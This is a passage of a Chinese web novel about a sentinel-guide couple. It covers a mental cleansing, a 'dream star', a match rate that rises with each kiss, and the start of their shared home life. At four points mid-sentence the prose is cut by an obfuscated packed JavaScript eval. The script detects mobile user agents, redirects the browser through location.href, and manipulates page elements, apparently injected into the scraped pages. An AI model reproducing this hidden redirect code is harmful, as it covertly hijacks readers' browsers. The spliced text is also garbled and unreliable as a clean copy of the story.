徐寻月指尖微抬,拦住了精神体的小动作。 却又伸手,率先摸了摸这朵天蓝色大花的花瓣。 绸缎般顺滑的触感擦过指腹,凉丝丝,软乎乎,让人下意识放轻力道,忘记它顽强的生命力,生怕将它不小心碾碎了。 徐寻月摸了多久的花,就听了多久阴影的抗议。 由于它们平常爱装深沉内向,徐寻月其实挺少看它们气急败坏的样子,这时有些想使坏,便故意说:【不是要小狼吗?那花就是我的。】 脑中瞬间传来排山倒海的声音,换个向导听估计都得耳鸣。 【真贪心。】 【贪心。】 【他是你的,花是你的,你有两个,不公平。】 【就是,不公平。】 徐寻月更觉得好笑了:【可是,狼是他的,花也是他的。】 阴影:…… 就在单纯精神体被恶劣向导拐进思维的死胡同里时,四周忽然黯淡下来。 抬头一看,原来是灰白天幕变成了黑夜的颜色。 除此之外,夜空中央还挂上了一颗十分醒目的星星,它很亮,和平常的星星相比,里面却多出了一些正在变化的影像。 它究竟是什么呢? 星星太高、也太遥远了,没有哨兵那种超感爆发的天赋,是根本看不清的。 只不过,徐寻月看着它,直觉里面有祝回的身影。 那么,这颗星星至少不是跟记忆树叶差不多的存在,毕竟记忆树叶的画面里不会出现记忆主人的面孔。 以上这种直觉层面的判断来自高级向导的天赋,“瞬间解析”,它常常用于信息缺失或要求精准的时刻——将已知信息和意识表层下的认知水平相结合,以远超平日思考能力的速度,全方位解构并分析目标。 他好像知道了。 似乎……是这样? 是这样吧。 徐寻月从记忆里翻出自己曾经听过的一段话。 那时他才十来岁,还没有觉醒,是向导父亲拿着一本属于前纪元的书,温和着声音念给他和妹妹听: “精神图景不是一成不变的,当一个人的情绪产生剧烈波动的时候,他的精神图景就会出现相应变化。而当一个人做了美梦的时候,他的精神图景就会诞生出一颗梦境之星。 “星星是安宁的乐土,星星是灵魂的家园。梦境之星会呈现出梦境主人在做的梦境。 “星星很珍贵,要珍惜它出现的每分每秒。如果一个人能见证梦境之星的诞生,那这个人就是星星主人的归途,同时也被星星祝福着。” 妹妹问:“为什么说梦境之星很珍贵呢?” “只有进入一个人的精神图景,才可能见到精神图景里的梦境之星。精神图景是很脆弱的地方,有第二个人在里面,星星的主人却没被惊醒,甚至能做一个美梦。这是不是一件很难得的事?” 记忆里面容模糊的向导笑着说。 “我明白了,所以爸爸见证过梦境之星的诞生吗?” “我当然见证过呀,我见过你妈妈的梦境之星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306034|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那她做了一个什么样的梦呢?” “不知道,我看不见。但我知道里面肯定有我。” 妹妹说:“肯定也有我。” 原来真的是这样。 是梦境之星啊。 代表安宁和家园的星星,代表归途和祝福的星星。 徐寻月望着天空,干脆改蹲为坐,一条腿伸直一条腿曲着,颇为随意地停留在那颗绿绒蒿旁边。 他有点意外,自己居然记得家人的那么多对话。这些年,随着需要记住的名字越来越多,他已经很少想念他们了。 或许,人们总以为自己会忘记某些过去,但感官和本能其实一直记着。 记得高汤的味道,记得梦境的星光,记得扎根心底鲜活而真实的悸动。 就算意识不到,也忘不掉。 祝回在接受精神疏导的过程中睡着了。 祝回怎么能这么轻易地睡着? 他做了一个什么样的梦呢? 这时,雪原早已恢复了无瑕的模样,阴影们无事可做,还藏进雪狼的影子里和它玩躲猫猫,惹得看上去本就可可爱爱的亚成年体一直追着自己影子转圈。 徐寻月之前是准备离开的,但是现在,他突然不想直接离开了。 他就这样坐在雪原边际,天上是星星,旁边是一朵天蓝色绿绒蒿,更远处是两只正在玩耍的精神体。 并不酷烈的风吹过他的脸颊,也让高山上绿树的叶子一阵晃动。 …… 时间飞走了。 天空从灰白色变成黑色,又从黑色变成灰白色。 直到那颗一闪一闪明亮至极的星星开始出现变暗的迹象。 徐寻月知道,梦即将结束。 他站起身,向雪狼和绿绒蒿道了别,带着自己的精神体从祝回的精神世界里退出来。 精神图景里的天空经历了两次变幻,现实世界的时间却过得很慢,窗外依旧漆黑一片,下着让人心生畏惧的大雪,院子里的喷泉池子早已被填满。 这么一对比,徐寻月顿时觉得,那片被自己清理过的雪原真是太好看了。 明净,辽远,还有花朵点缀,比现实世界的任何一片雪原都要好看。 必修课本1说得没错,做精神疏导,确实是一件让人很有成就感的事。 他看向怀里的哨兵,不出意外地看见一张仍然睡着的脸,呼吸平缓,大概睡得很好。 梦境之星的消失只代表梦境结束,却不意味着睡眠会立即结束,通常这个时候,意识会有一个从模糊到清醒的转变过程。 进入精神世界之前,他们在接吻,他出精神世界之后,祝回的唇还轻轻擦着他的侧颊。 徐寻月只是顺便瞥了一眼,却看见那张本来很薄的唇好像有点红肿。 但唇角因干燥而起的死皮没了。 “……” 徐寻月看了几秒,发现自己居然有一种微妙的满足感。 不知道怎么形容。 他现在其实应该把祝回丢下去,不让祝回离自己这么近,可是这一次,他却觉得自己有百分之一百的把握—— 就算靠得再近,也不会收到来自对方的威胁和攻击。 11. 匹配度 换在三年前、或者更早的时候,徐寻月可能会选择做一些更加直接的事。但现在,他是双腿残疾旧伤未愈的人设,也不好把这么一个身体健康的哨兵搬来搬去。 他无奈地叹了口气,松开压着祝回的那只手,掌心摊开,露出里面的一片嫩绿色树叶。 和祝回说的一样,出了精神图景,它就只是一片普通的叶子,最不平凡的地方或许就是很好看。 脉络分明,颜色葱翠,鲜嫩欲滴,触感柔软,这在海神纪难得一见,据说还永远不会枯萎,放在帝国贵族的茶话会上,肯定是个让人爱不释手的小玩意。 徐寻月拿着叶子看了一会,单手翻开被他放在书桌上的书,将叶子夹了进去。 等注意力再转回来,就看见年轻哨兵的睫毛颤了一下。 他要醒了。 徐寻月有些好奇。 他有点想知道,等祝回醒来、并发现自己居然在他怀里睡着了的时候,会作出什么反应。 *** 刚把眼睛睁开的那几秒,祝回的大脑还没有真正苏醒。 只有感受最直接也最忠实,正一刻不停地向认知器官传递信息,欢欣鼓舞地表达着舒服和喜欢。 身体是前所未有的轻盈,就好像一直绑在脚腕的隐形负重被卸下了,所有的孤独和痛苦也在这一觉中消解了。 没有任何人死亡,没有任何人遇难,没有任何人的背影消失在时光之路中。 而他像小时候那样呆在家里烤火,某个下午在炉边阅读过时的报纸,一不小心睡着了,醒来全身暖洋洋的,有一种平和而简单的幸福。 不记得这样美好的感觉远去多久,可一旦它被触发、再次回想起来的时候,又好像就在昨天。 虽然模糊,却不曾离去。 他莫名其妙地认定,自己的精神图景里有过一颗明亮的星。 虽然现在看没有了,但它一定存在过,并且没有远走,还会再一次回来。 还有,他好像做梦了。 梦见了什么呢? 视线逐渐聚焦,琥珀色眼睛倏然瞪大,祝回定定看着近在咫尺的向导,一个多余的字都说不出来。 只有喉结,不争气地滑动了一下。 他想起来了。 是徐寻月进入了他的精神图景,看了他的记忆,并进行了一次精神疏导,只是他在精神疏导的时候睡了过去。 现在,他们都从精神图景里出来了,他还被徐寻月抱着。 怀抱很温暖,怪不得有一种在炉火边睡了一觉的错觉。 这个时候,祝回才后知后觉地意识到,之前侵袭身体的结合热好像已经消解了,也不知道是因为亲吻、拥抱,还是那个格外美好的精神疏导。 但他知道,自己精神图景的状态前所未有的好。 雪原一望无际,绿树郁郁葱葱,精神体能够在其间纵情奔跑,丝毫不用顾忌踩到什么脏污。 而现实世界中,那双紧紧贴着掌心的作战手套汗湿了,他的唇也是湿热的,还似有若无地贴在徐寻月唇边。 好近。 离向导这么近是非常没分寸的,是不是该退后一些? 徐寻月之前在精神图景还发动了攻击,应该是很在意安全距离的人。 ……可是我是他的哨兵诶。 祝回没动。 他只是暗中检查了一下自己的姿势,确认自己没压到徐寻月的腿,就那么继续坐着。 一动不动。 眼神都显得有点无辜了,徐寻月这样想着,心里有些好笑。 他带着一点笑意问:“做了什么美梦?” 哨兵的脸刷地一下红了。 好吧,他知道了。 得到答案,又看到祝回几次张口也没支吾出完整句子的模样,徐寻月十分好心地转移了话题。 “或许需要你打开一下你的个人终端,我想再测一次我们的匹配度。” 和匹配列表略显繁复的测算条件不同,如果单测两个人的匹配度,用他们两个人的个人终端就可以。 “好。”祝回将右手手腕上的终端解锁,贴近徐寻月的手腕。 几秒后,两枚终端的匹配度测算界面都亮了,大大的数字浮现在显示屏上。 66.01%。 二人都愣了一下。 徐寻月沉吟着,却率先收到了来自年轻哨兵的目光。 他顺着那束像是询问的目光望过去,和祝回对上视线,说: “也不是没有这种先例。帝国早期资料记载,匹配度确实可能在后天出现二次增长。” 不过,那些例子远没有他们增长得这么多。 对匹配度而言,每个百分点都弥足珍贵,从60.01%到66.01%可是足足增长了六个百分点。 祝回闻言思考了一下,问:“那些人的匹配度为什么增长呢?” “总的来说,是积少成多,从量变到质变。” 比如多年共同作战,匹配度从71%上升到72%,或者生死刹那潜力爆发,匹配度从79%突破到80%。 而他们做了什么? 亲了,抱了,精神疏导了。 接触了彼此的精神体,两只精神体还玩到一起去了。 ……这么一算,他们今晚做的事还挺多。 可是,听上去虽然忙,满打满算也就几个小时的时间,那些亲密接触更不是什么有难度有深度的互动。 要是普通的亲密接触和精神疏导就能提升匹配度,这个金牌方法绝对会被写在白塔必修课本的扉页,还是加粗黑体描金边的那种。那么多辛苦训练的向导和哨兵也不用一直呆在训练场了,回家找对象亲嘴就好。 以上这些,徐寻月想到了,祝回应该也能想到。 对视半晌,徐寻月做了个暂时性的总结。 “我们的情况应该比较特殊。” 特殊,当然特殊,但匹配度升高是没有争议的事实。原始数值60.01%是徐寻月在匹配列表名单上亲眼见到的,而数值升高总要有原因。 这么推测,最不可能的可能就有可能了。 书房昏惑的灯光照在二人身上,在祝回背后投下大片重合的影子,显得这里十分安谧。 祝回点点头,没说话。 他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306035|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是不想说话,恰恰相反,他大概是想说些什么的,只是薄唇微动,有点开不了口的样子。 他觉得说出来像耍流氓。 他小声说: “那我们唔……” 三个字刚倒出来就被气音打断,戛然而止了。 祝回只觉得自己被什么东西往前一推。 力气不大,位置却很巧妙。 难道又是——?! 毫无防备之下,他能撑住轮椅扶手不让膝盖乱动,却止不住上半身的趋势。 和徐寻月的距离本来就近,这会唇便直接撞了上去。 撞到另外两瓣唇上。 软软的,还有点甜。 和之前尝过的一样,第二次碰到,还是甜。 这样的念头在大脑里一闪而逝,祝回立刻反应过来,拉开距离,略带紧张地问: “对不起,磕到你了吗?” “……” 回应他的是一个似笑非笑的眼神,和一个按住后脖颈的深吻。 当口腔被再次打开侵占的时候,那种步步紧逼、几乎能将人吞噬的危机感又降临了,加上先前就被亲得有点缺氧,对之后会怎样发展有一定的预期,祝回克制不住地想发抖。 下颌很快开始泛酸,他却没有后缩。 或许因为有过交流和精神疏导,这次的唇齿相接变得更加有吸引力了,身体的每个细胞都在叫嚣着渴望,诉说着不愿意离开。 迷迷糊糊间,他感觉徐寻月的一只手伸到自己腰后,在自己衣服上抓了把什么东西,又很快松开,转而握在腰侧。 不知道为什么,腰侧五指的存在感极其强烈,以至于祝回总是不由自主地在脑中勾勒,那五根手指是如何的修长,如何的骨节分明,又是以一个怎样的角度张开,扣在那里。 十分钟过去。 急促的呼吸声在唇分第一秒响起,徐寻月注视着大口呼吸新鲜空气的年轻哨兵,眼睑微垂,遮住了里边闪过的一道金光。 刚才,不、十分钟之前,他的精神体又把祝回拱到他怀里了。 虽然……就算没有它们,现在的情况也不会变。 该夸它们识时务吗? 徐寻月结束亲吻的方式很简单。他没有和祝回拉开距离,只是放过了那张薄唇,就连左手都还握在对方滚烫的后颈上。 而祝回也极为顺从地没有躲开,被放过了,还和徐寻月贴得很近,气息声和呼吸扰乱的气流都发生在徐寻月脸侧,叫人听得格外清晰。 就这样颇为亲昵地待了一会,等呼吸声平静下来,徐寻月才伸出手腕。 “再测一次?” 祝回低低嗯了一声,把自己的手腕也伸出来。 几秒后。 66.41%。 对视。 半晌,祝回红着耳朵靠过去,轻轻蹭了蹭向导的唇。 徐寻月把他拉近了一点。 …… 三十分钟过去。 这次,不用提醒,祝回自觉伸手贴上徐寻月的手腕。 66.91%。 空气陷入一种暧昧的宁静之中。 12. 撒娇 “这里肿了。” 徐寻月抬手捧住哨兵的侧脸和下颌,拇指轻轻按在他的唇上,语气平淡,似乎在陈述一件再平常不过的事。 当然,他说的也是事实。 祝回不知道该回应些什么,大概脑子里也没有思考的余地了。他努力平复呼吸,直勾勾地看着徐寻月的眼睛。 这是一个像在讨吻的眼神,徐寻月想。 他们今天亲得有点久。 他以前从没想过,这种听上去无聊且没有意义的事居然能耗费这么多的时间,貌似还有一些成瘾性。 就看面前这位,帝国历史上最年轻的首席哨兵,意志力和忍耐力都那么强悍,此时也几乎完全沉溺了。 确实是很舒服的,对哨兵而言很放松,对向导也一样,就好像世界上多了一个和自己同频的存在。 原来向导和哨兵之间的结合就是这样的吗? 怪不得那么多人喜欢。 徐寻月有点能理解学生时期那群热爱在白塔搞联谊的同窗们了。 不得不说,祝回的所有反应都合他心意,连信息素也合胃口。 物理意义上的合胃口。 或许,“匹配列表上的唯一一个名字”这种特殊存在并不是什么简单的巧合,作为唯一一个和自己匹配度超过60%的哨兵,祝回和其他哨兵是不一样的。 不仅仅指意义、心理、情感这些层面的不一样,而是有实实在在不一样的地方,只是现在,他还没能精准捕捉到。 但没关系。 祝回既然接受了婚约,到了他这里,跟他达成了交易,那就已经是他的哨兵了。他会把他一点点了解透彻的,以后总会知道。 顶着祝回那种带着雾气一瞬不瞬的视线,徐寻月轻轻吻了下他的唇峰。这次浅尝辄止没有深入,比起接吻,更像是一种安抚,一种带着亲昵意味的结束符号。 这么多年,他身边的人来的来走的走,血亲、领导、朋友、下属……不是死了,就是各怀心思,逐渐疏远,很少有能长时间停留的。 这是海神纪的缩影,最常见不过的离合。 祝回能停留多久呢? 平心而论,他希望能久一点。 年轻哨兵侧着脑袋就往他这边凑,是想下意识追过来的,看到徐寻月再次抬起手腕,才顿住身体,配合着又测了一次匹配度。 67.01%。 这次加了0.1%。 徐寻月脑海里浮现出一个听上去很滑稽的推测。 第一次加0.4%,第二次加0.5%,这次只有0.1%,是因为只亲了一下吗? 说出去连白塔最基础的研究员都不信,偏偏就这么发生了。 其实他们的初始数值60.01%也十分罕见,按照常理,匹配度再低也很难卡得这么恰到好处。 而现在,匹配度居然能在亲密接触之后升高,升高幅度还跟亲密接触的时间和程度挂钩。 如果这种提升没有限制,90%岂不是指日可待? 90%以上,那是传说中的匹配度,经常出现在帝都流行的爱情小说里,代表着“量身打造”、“天造地设”这种类型的词语。 徐寻月和祝回虽然都是比较另类的向导和哨兵,不像一般向导哨兵那样对另一半的依赖那么强,但匹配度上升百利无一害,以后有机会协作的话,战斗力绝对能翻好几倍。 徐寻月对着个人终端上的那个67.01%看了两秒。 “今天就到这里吧。”他说。 如果没记错,正好超过祝回匹配列表上原来的那个第一,67%。 对了,既然重测匹配度,下次和财政大臣见面的时候,就再查一次祝回的匹配列表好了。 祝回抿唇,不太情愿的样子,却还是听话地点了点头。 徐寻月于是补充:“明天继续,慢慢来。” 祝回紧接着问:“每天吗?” “每天——你很喜欢?” “我……”祝回犹豫片刻,终于将目光移开没再看他,随后道,“我挺喜欢的,而且能提升匹配度不是吗?我们可以试试最后能达到多少……” 越说脸越红。 徐寻月将一切看在眼里,心情颇为愉快,也没说破。 半晌,他打开自己的个人终端,将屏幕朝向祝回:“录个面部和虹膜,我给你设置房子的第二权限,以后就不用按门铃了。” 祝回一愣,低声道:“第二权限是不是太高了?这是你家,进门的话,好像旅客权限就够……” 整个帝都占地面积不大,又是最安全最发达的地区,房价自然贵的不得了,普通人工作一辈子到最后说不定都只能租房。尽管和同龄人相比他也算小有积蓄,但徐寻月住的这种庄园,目前的他肯定买不起,至少得再攒个几年,升一升军衔和待遇。 他知道徐寻月不是贵族出身,也听说过对方从一个普通士官走到今天的事迹,自觉不该如此轻易地和徐寻月共享那些原本只属于徐寻月一个人的东西,哪怕只是一个早已成熟随手摘下的甜美果实。 虽然很想要,虽然很喜欢,但占哥哥便宜是不对的,自己又什么都没做。 至少……至少得让徐寻月考察他一段时间,觉得他还不错,对他满意了,再给他升级权限才对。 没错,就应该这样。 “你以为这里是军部么?一步步升级,待遇一点点升高?” 徐寻月的声音打断了年轻哨兵的思绪,那语气略带戏谑,似乎知道他在想些什么。 “第二权限的级别依旧在第一权限之下,我依旧是屋主。如果你想把自己当客人——” “不是,我不是那个意思。”祝回忙道,“我会把这里当成自己家的,你当然依旧是这里的主人,我……我……” 祝回说着说着就卡住了,他一边有点着急,一边又觉得自己说的话好像有哪里怪怪的。 徐寻月同样注意到了话里的奇怪之处。 不过对他而言,与其说是奇怪,倒不如说是听着有点不习惯。 他心里是清楚自己哪里听着不习惯,且为什么会觉得不习惯的。 从头到尾,祝回用的词是家,他用的词是房子。 祝回说的是家的主人,他说的是屋主。 还有祝回刚刚说的那一连串话,什么“会把这里当成自己家,你当然依旧是这里的主人”…… ……一家之主? 等等,画风好像有点奇怪了。 徐寻月把脑子里的奇怪联想抹去,对脸还红着还在紧张的哨兵说:“好了,就第二权限,跟我不用太客气。” 他抬起手腕晃了晃,语气放得轻松:“来录虹膜。” 祝回坐直,看向他的个人终端屏幕,根据终端系统的提示干脆利落地完成了录入工作。 末了问:“那我可以把我的账户交给你吗?” “?”徐寻月反问,“为什么?” “就是上交银行卡,我听说,这是海神纪之前帝国挺常见的一个习俗。” “我不用……” “可是我想,”祝回眼巴巴地望着他,“可以吗?我真的很想。” 徐寻月:“……” 他怎么觉得祝回在撒娇? 有些无奈地叹了口气,徐寻月说: “帮你保管。” 设置完权限,再把人安排到自己卧室隔壁的房间,折腾了一晚上的事才差不多结束。 祝回从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306036|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮椅上下来的时候甚至踉跄了一小下,虽然迅速稳住了身体平衡,但那个瞬间还是被徐寻月捕捉到了。 应该是跪得太久,他想。 *** 半个小时后。 “啪嗒。” 祝回穿着新拖鞋从浴室出来,打开了厨房的灯。 这是一个宽敞且有生活气息的厨房,归置整齐,台面上摆了几瓶如今很少见的调味料,显然经常开火。 凭借哨兵敏锐的感官,他嗅出厨房里飘着一股淡淡的、来自几个小时前的熟食香气,并不刺鼻,反而很好闻。 哥哥还会做饭,厉害。 祝回没动其他东西,只是按照徐寻月说的位置,从橱柜里拿碗倒了碗水。 半个小时前,他本来是想帮徐寻月做点什么的,比如收拾下房间或者推轮椅,但徐寻月都拒绝了,只说让他去洗个澡喝点水。 他确实挺久没喝水了。 灾变以来,虽然到处都是雪和海,却并不代表这个世界不会缺水。海水不能直接饮用,直接吃雪则会导致体内热量消耗过大,严重的甚至能威胁生命安全。 可以饮用的淡水是生命的支柱。 温热的液体接触到嘴唇,带来最为纯粹的慰藉,喉结微动,便能将它咽下,滋润感从口腔一路抵达胸膛。 祝回抿着碗里的水,想到的却是另外一种味道。 铁锈味。 那种一滴又一滴地砸在唇上,频率逐渐加快,铁锈味越来越浓的感觉。 八年前,奉山A2区,他的意识就是在这种味道里清醒的。 即便醒了,却还是以为自己要死,于是扛着雪盲症睁眼,想看看抱着自己给自己喂血的人是谁。 而那个人捂住了他的眼睛。 他实在没能看清。 之后凭仅有的印象去找,也没有丝毫的结果。 被他问过的人说,特征太少啦,帝国蓝色眼睛的人很多的,发型更是可以随便换;更多人说,如果是小队里的军官,可能早就死在灾变区了。 他不信。 他之前始终认为,一个能够孤身出入灾变区、两天内登上山顶又下山、抱着个拖油瓶还能空出一只手端枪射击的高级哨兵,一定是非常非常厉害的人,肯定能活下来的。 ……没错。 高级哨兵。 祝回现在一想到这个就觉得自己蠢透了。 他弄错了最最关键的信息,怎么可能找得到呢?别说没看清,就算看清也没用。 幸好八年后有这样的一个婚约,让他能和他再见面。 和徐寻月真正对上视线的那一刻,某种早已刻入基因的东西就开始颤动了。 蓝眼睛。 那双记忆里的蓝眼睛,世界上最好看的眼睛,原来是冰蓝色的。 颤栗随着接触的深入而加剧,以至于在他精神体真正出击、毫无保留展露凶性的同时,装着宝贵记忆的漂流瓶也被大浪拍上了海岸。 被反复冲刷过的玻璃瓶面那样明净,任何一点思绪波动,就能牵起所有相关画面,比照所有记忆细节。 会是哥哥吗? 好像是哥哥。 就是哥哥。 只是,该怎么说呢? 说自己那时年纪太小,还没觉醒,靠着普通人的刻板印象把哥哥认成哨兵? 可是时过境迁,现在谈当年,又是否会让处境已经截然不同的徐寻月感到不适? 或者压根没必要开口,徐寻月救过那么多人,他只是其中一个,并没有什么特殊的地方。 对他来说很重要,另一个当事人应该已经忘记了。 他只能把现在的哥哥照顾好。 ……队长哥哥。 13. 早安吻 翌日清晨。 “我帮你?” “让精神体来就行。” “那,一路顺风。” “谢谢。” “……” 对话声在一楼门口响起,祝回站在鞋柜旁,徐寻月则准备出门。 正给阴影们下达着拿衣服换鞋的指令,余光却瞥见哨兵略带怏怏的神情。 徐寻月心里有些好笑,不禁想起十几分钟前那顿早餐的味道。 虽然不如他做得好吃,但比他母亲水平高,在哨兵里也算是万里挑一了。 徐寻月其实有私人厨师,只是不在庄园里住,之前他一个人住的时候,想吃简单点就自己随便弄弄,懒得做就提前说好让厨师过来。 今天他起得不算晚,下到一楼却发现祝回已经做好了早餐,那体验不可谓不稀奇。 徐寻月的第一反应,就是检查厨房的墙壁灶台厨具有没有受到损伤,垃圾桶里有没有什么残存的“战后遗迹”。 居然还好。 只不过等他查完监控——没错,不仅这栋楼门口有监控,徐寻月在楼内也安装了很多监控,且只有房屋的第一权限人、也就是他自己能看——结果发现这顿早餐是祝回早起两个小时做的。 太久了。 他能理解祝回刚搬过来想做点什么,也不至于拦着人什么都不让做,但…… 他们才刚开始认识彼此,没必要做到这一步。 比起早餐,他更希望对方照顾好自己把觉睡足。 于是,在哨兵暗含殷切的目光中,徐寻月首先表扬了早餐的味道,又在祝回眼睛发亮的时候说以后不用这样。 祝回显然有些失落了,追问是不是其实不够好,他说没有,但你需要睡眠。 他还听见祝回小声嘀咕,说军队比这睡得还少,然后又乖乖点头,说知道了,以后做熟练了就不会用太长时间。 态度良好,但已读乱回。 然后就是现在。 收拾东西、出门换鞋、带外套和其他杂物……这些小事本来就是徐寻月自己做的,在他保持残疾人设期间,交给精神体同样没问题。 总没有祝回来了就让祝回做的道理吧? 偏偏不让他帮,他还不高兴。 祝回是不会说自己不高兴,也不会对徐寻月表达这种不高兴,但徐寻月能看出来,他自己在那跟自己生闷气呢。 有点莫名其妙,又有点奇奇怪怪的可爱。 “好了,过来。”徐寻月朝祝回伸手。 戴着象牙白手套的手掌心朝上,五指微微并拢,被布料勾勒出极其优越的手型。 跟自己生着闷气的年轻哨兵这才回神,往轮椅扶手边靠了一步。 他看上去是想弯腰就徐寻月的手,可动作刚开始却又停住,改成蹲下来,仰视坐在轮椅上的向导。 徐寻月只是朝他伸手,手并没有抬很高,他这样蹲下来仰着脑袋,侧脸就差不多能蹭到徐寻月手心。 …… 徐寻月顺手揉了揉他侧脸,发现没多少软肉,心里闪过一丝遗憾。 可能是之前揉雪狼脑袋揉得太舒服了,这样的想法一闪而过,徐寻月觉得祝回可以稍微多吃一点。 可以多让私人厨师来做做饭。 “其实不用对我特别关照,”他开口,“把我当普通向导就好,你在白塔遇到向导是什么样,你在军队和向导怎么相处……就按正常的模式来,不需要抱着照顾残疾人的想法。” 而且徐寻月本来就是装的。 自从三年前,外派任务结束、开始伪装身受重伤以来,也有零星几个还活着的朋友和下属关心他,和他保持联系,但他们和伴侣这种亲密关系完全不一样。 生活在同一屋檐下的确太接近了,何况祝回还有种什么都想帮他做的积极性,实在让人哭笑不得。 然而,听了他的话,祝回立刻表态: “我没有看轻你的意思,只是我自己想,你不喜欢,那我就不做了。” 徐寻月:“……” 他怎么感觉,他和祝回好像说的不是一件事? 他在祝回心里是什么自立自强还敏感高自尊的形象吗? 他沉默了一下,看向祝回,发现自己的沉默让这位年轻哨兵有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306037|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点紧张。 行吧。 自立自强就自立自强,他也觉得自己挺自强。 徐寻月轻轻叹气,把祝回往上拉了一点,再把他下巴抬到最高,微微弯腰亲他的唇。 哨兵的恢复能力向来很强,祝回这种高级哨兵里的佼佼者就更不必说,一夜过去,昨晚还有点肿的唇早就恢复到了正常状态,从某种程度上说,倒是方便他接受这种过分强硬的亲吻。 被捏着两颊,嘴唇没办法闭上,甚至连动一下都困难,每个地方都被扫过,从舌尖到舌根都发麻。 亲着亲着,祝回感觉自己的视野模糊了,应该是生理性泪水的缘故。他改了姿势,软着腿半跪在厚厚的地毯上,这才保持住身体重心继续仰头。 哥哥肺活量好好…… 祝回晕晕乎乎地想着,昨天晚上,徐寻月跟他说以后每天都亲,他刚才还差点以为徐寻月忘了。 但也不敢完全确定,毕竟人家还没出门。 现在看来,哥哥还是记得的。 …… 十几分钟后。 徐寻月垂眼,摸了摸趴在自己膝头喘气的人的头发,看向手腕上终端显示的时间。 在可控范围内。 预约不会迟到。 他耐心地等了一会,等祝回呼吸差不多缓过来了,才慢条斯理地说:“刚刚是早安吻……这里除了我的房间,其他地方随便逛,东西都能用,你可以熟悉一下。” 祝回说好。 “还有,”徐寻月补充,“不用打扫卫生,我的精神体比较擅长干这个,擦东西擦得锃亮。” 祝回瞄了眼屋里闪闪发光的墙壁家具和瓷砖,点头。 “其他也没什么,你自己安排吧。” “嗯,我会的。” 祝回从地毯上起来,却依旧半蹲在轮椅侧面,仰脸看着他,像是要目送他离开。 这个动作让徐寻月有种他们的对话还没有结束的感觉,于是他想了想,说: “我出门了。” 祝回一愣。 “好的,”他笑了一下,说,“路上注意安全。” 14.你老公 白塔,向导学院。 “吱呀——” 木门发出古旧的响声。 “来了?” 坐在办公桌前看文件的白发老人从文件堆中抬起头,扶了扶鼻梁上的老花镜,开了个小玩笑。 “没想到,你也有踩点到的一天。” 徐寻月把办公室的门带上。 “院长老师,好久不见。” 眼前向导学院的院长,夏风,正是他八年前在向导学院学习时的班主任。 八年前,院长老师还不是院长,只是一个结合哨兵死亡后退役、调职来白塔做研究的中年人。他似乎要把生命的全部热情投入到事业中去,带学生尽心尽力,做实验日夜不休。 徐寻月第一次见到他的时候,他还是黑色头发,文质彬彬,神色郁郁,八年过去,他却满头白发皮肤松弛,和六七十岁的老头没什么两样了。 徐寻月看着昔日老师的样貌,心中不由生出几分感慨。 所有失去结合伴侣的人,都会遭遇一些或多或少的后遗症,症状因人而异,包括但不限于加速衰老、失忆失控、精神迷失、狂化…… 总而言之,两个人的感情链接越紧密,结合程度越深,后遗症的爆发就越恐怖。其中,确定了三级结合关系的人群最为严重,而哨兵的死亡率又比向导高好几倍。 也不知道,对于眼前这位垂垂老矣的中年向导而言,他的症状是算轻、还是算重了。 “很久了么?” 听了徐寻月的话,夏风又扶了一下眼镜,半晌干脆将眼镜取下:“哦,也是,距离上次去你家拜访,都已经是一年前了。” 徐寻月看他,他也将徐寻月上上下下打量了一番,直至确认面前青年虽坐着轮椅,精气神却很是不错,行动起来也没什么不便,才松了口气。 “三年前就劝你来白塔,现在终于愿意来了,”他露出一个笑,大概在为曾经的得意门生感到欣慰,“不错,不错,过去的都已经过去了,现在虽然不像以前,不能上山下水到处支援,但谁说在白塔搞研究搞教育就没有价值啦?到时候你去给学生上课,告诉他们你就是那个传说中的学长,把他们都吓死去!” 说着,他从右手的文件堆里抽出几张空白表格,推到徐寻月面前。 “入职登记表什么的都在这,填完审核一下就行。当个挂名老师怎么样?不忙,你看什么时候方便,有空来上上课指导指导就行。” 